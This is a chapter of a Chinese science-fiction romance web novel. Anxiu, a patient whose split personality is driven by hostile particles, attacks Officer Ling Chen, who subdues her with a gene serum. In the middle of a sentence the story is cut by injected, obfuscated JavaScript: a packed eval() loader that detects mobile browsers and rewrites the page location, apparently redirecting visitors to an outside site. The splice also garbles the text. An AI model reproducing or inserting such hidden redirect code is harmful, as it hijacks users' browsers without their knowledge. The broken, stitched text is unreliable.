“镇定剂和抑裂剂同时使用的话,也不会有副作用,”迈尔西硬着头皮提出建议,“两个同时使用也不会怎么样,就当以防万一。”
迈尔达皱了下眉,对他当众挑战权威的行为表示不满,但还是同意了。
镇定剂和抑裂剂同时打入身体,安秀闷哼一声,感受到冰凉的刺痛。
过了数秒,她停止了震颤,抬起眼眸。
“我要见凌宸。”
“凌长官还有五分钟到。”迈尔达侧了侧头,听到副官的消息。
“我现在就要,见到他。”
安秀浑身散发杀气,手臂浮现闪烁异光的麟片,颈环变成了危险的红色。
“咔嚓”、“咔嚓”,桌子上的试剂在粒子波动下碎了。
手无寸铁的医生们愣在原地,仅有的几个大胆的医生向前安抚,其中包括迈尔西。
“你先冷静,凌长官马上就到了!安秀,清醒一点,你还听得见吗?”
安秀置若罔闻,不顾医生们的惊呼,一掌拍开身后偷袭的机械臂,昂贵的仪器被抓得变形扭曲,精密的零件散落一地。
“快速撤离,病人已经失控了,保重自身安全,”迈尔达在另一边下令,然后神情凝重地对通讯中的凌宸开口。
“凌长官,我们需要你。安秀的精神已经彻底分裂,知不知道真相都没用了。过不了多久,她的身体也会分裂,到那个时候只能人道毁灭。”
谁也没有想到,通感疗法的尽头,竟然是深渊型分裂症。
高能粒子在通感治疗的持续刺激下转变攻击模式,即便患者不知道真相,也会在分裂中走向毁灭,这个过程比直接爆体而亡更折磨人。
迈尔达的背后冒出一身冷汗。不难想象,要是没有给安秀打抑裂剂,她的分裂只会更加迅速。
搞不好,所有人都会死在这。
“凌宸,你在,对吗?”安秀对着治疗室的监控,压抑着怒火,“你一直在骗我!”
凌宸让医生撤离,开启了虚拟影像:“都出去,我跟她谈谈。”
“你终于愿意出现了。”
“安秀,”凌宸走近她,“你先冷静。”
“我受够这句话了!”她手臂一挥,治疗室的东西碎了一地,她突然痛苦地抓住了脖颈。
颈环和药物的抑制令安秀非常难耐。她恨极了这些让她无法释放本性的东西。
“我凭什么信任你,我们不过是互相利用的关系。你就是和那群人没两样,我从来没猜错过。”
安秀的脖子上冒出羽管一样的东西,很痒,她烦躁地摇头。
“你到底要怎样才肯信任我?”一直冷静自持的凌宸见她如此顽固,也不由得觉得无力,“安秀,你被高能粒子误导了,这个世界上不是只有想害你的人。”
“只有家人才不会害我,我没有家人,”安秀又是一阵颤抖,“我不知道她们去哪了。”
“我是你真正的法律意义上的亲人,”凌宸一字一句道,“你可以相信我。”
只要在能力范围内,他不会容许亲人死去。安秀曾经说过他是唯一的家人,当时他把她推开了,可这不代表他冷血到了骨子里。
安秀像一只带锁的飞鸟闯进他的生命,存在感实在太强,他做不到忽视她。
他还不想放弃。
安秀抬眼,看了看他湛蓝的眼眸和紧紧抿住的嘴,突然想到了什么,不屑地嗤笑出声。
“你还真把我的话当真了?谁会把你当亲人,你才不是我的亲人。”
那汪水沉沉地落了下去,干涸至湖底。凌宸长长的睫毛颤了颤,终究没说出一句话。
他不清楚这种可笑的落差感从何而来。
“但是,”安秀话锋一转,满意地看到他眼神微动,“你要是肯进来,不怕我杀了你,我就相信你。”
身体里的高能粒子叫嚣着复仇,把那个阻止它们的存在杀了,这样它们就可以无止境地暴虐。
她要杀了凌宸,没人拦得住她。
只要杀了他——这个问题的源头,无论他先前是不是在骗她,她都会彻底自由。
没有试验、没有病痛。
粒子流淌在身体,安秀从未感到如此畅快。
“那你有没有想过......”虚拟影像的凌宸轻叹一声,消失了。
真实的凌宸出现在门口,穿着一身整齐的将服:“我从来都不是你的‘情人’。”
她们的关系早已被世俗绑定了。
这句话像沉闷的鼓,敲响安秀心底的回音。她晃了晃神,不知自己为何动容。
可是下一秒,她体内几乎异化完毕的粒子嗅到了凌宸的气息,再度沸腾起来,压过了所有感知。
像是闻到了血的捕食者,她迈开腿,一步步朝猎物走去。
凌宸也走上前,然后站定,双臂微微打开,收起周身的气息。
他的眼眸下垂,乖顺得像敛起羽毛的蓝丝鸟。
医疗室的距离很长,从安秀的那一方灰白色天地,到凌宸所在的亮光处,需要走整整二十步。
前十步,安秀按捺着对他的渴望,慢慢地、不引起他恐惧地走。
后十步,她大步向前,像是再也忍不了了似的冲过去,贴到凌宸的鼻尖,他的头发因风微动,二人四目相对。
呼吸打在对方的脸上,一边急促,一边平缓。
凌宸依旧一动不动,除了贴近的那一瞬间,淡粉色的嘴唇轻颤了一下。
安秀项圈的红光频率越来越高,到达峰值后居然消失了,取而代之的全都是变异的高能粒子。
她冷笑一声:可以随便消灭眼前这个人了。
铺天盖地的粒子倾轧而下,正当她要割下他的喉管的时候,凌宸轻声呼唤:
“安秀。”
安秀停了下来,发现自己怎么也下不去手——她的神识回来了一点。
她看到凌宸毫无防备地站在她眼前,不可置信道:“你疯了?!”下一秒,她又开始痛苦地跟分裂人格争夺主导权。
凌宸一粒一粒解开军装扣子,安静的医疗室一时间只听得到金属相碰的声音。
一件件脱完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968119|189695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,他只剩一件薄薄的黑色打底衣。在忍到快发疯的安秀看来,他的脖子比刚才白得更加显眼了,可以清晰地看到血管。
温暖的血液在脆弱的皮肤下流动,这对她来说简直是致命吸引。
“来吧,”凌宸难得有些活泼地歪了歪头,流露出让她陌生的倜傥,“你不是想吃了我吗?”
这句话像一个引线,轰隆一声把安秀的理智炸成了碎片。她彻底抑制不住分裂人格,任由“她”跑了出来。
“你自找的!”
她死死抱住凌宸,贪婪地吸取他的生命力,听到他难受的闷哼声,她不屑地笑道:“区区低阶异能者,还敢跟我抗衡?”
她的手臂泛起黑色纹路,而凌宸的手臂出现金色纹路,两人的粒子对抗、交融,更多时候是凌宸被动承受了一切。
高能粒子无止境地入侵凌宸的身体,想要借助安秀的高阶异能撑破他,让他爆体。
四周的医疗用具在撤离时被收容,治疗室只剩下空荡荡的墙壁和天花板,肆虐的异能留下可怖的刮痕,就连材料更为坚实的监控器都被打坏。
安秀看着他脖子逐渐渗出来的血丝,呵呵笑了起来,想抓上去。
被她的另一只手死死抓住了。
“你不是我。”沉着的声音近乎虚无缥缈,真正的安秀在意识的底端呼唤,“是时候了,凌宸,我要撑不住了。”
安秀的眼睛微微睁大。
凌宸忽然爆发了高阶异能,将她传进身体的粒子如数奉还,双手死死按住她的肩和腰,不许她逃离。
“你是该走了。”他的声音带有一丝笑意。
他一直等待这一刻。虚拟体分析的安秀的情感数据,他早就熟记于心。
安秀怒喝一声,绷紧了肌肉阻止他的动作。可是凌宸的豹尾不知道什么时候一圈圈将她们缠了起来,无论怎么挣扎都挣不开。
没有了将服外套的阻隔,二人紧贴在一起,深渊粒子疯狂涌入她的身体,将部分黑色的纹路染成金色。
安秀掐住他的脖子,刮出血痕,凌宸的另一只手按住她的手腕,一脚将她踢得失去平衡,两人翻滚到了地上。
安秀一个打挺将凌宸压在身下,又因为不断冲进体内的正常粒子卸力,凌宸伺机反控。
体内的能量正在被吸走,她感到一阵莫名的恐惧,高能粒子想再次爆发,却被凌宸的一型异能压制住,只得一退再退。
“可恶,你竟然......”
凌宸拿出一管粉色的基因链试剂,先给自己打了一针,然后拿起蓝色的那管。
安秀看到那管试剂,拼命挣扎了起来,凌宸被她的力气耗得微喘,小声说:“嘘,别动、别动。”
然后用力将那管试剂塞进了她的口中。
军用手套的皮革清香灌入鼻腔,她甚至来不及品尝试剂的味道,就被有些粗暴的来自手指的翻搅刺激得干呕。
在来自心底的主人格、各种药物和颈环、还有凌宸异能的控制下,安秀终于失去了力气。
她完全吸收了那管基因链。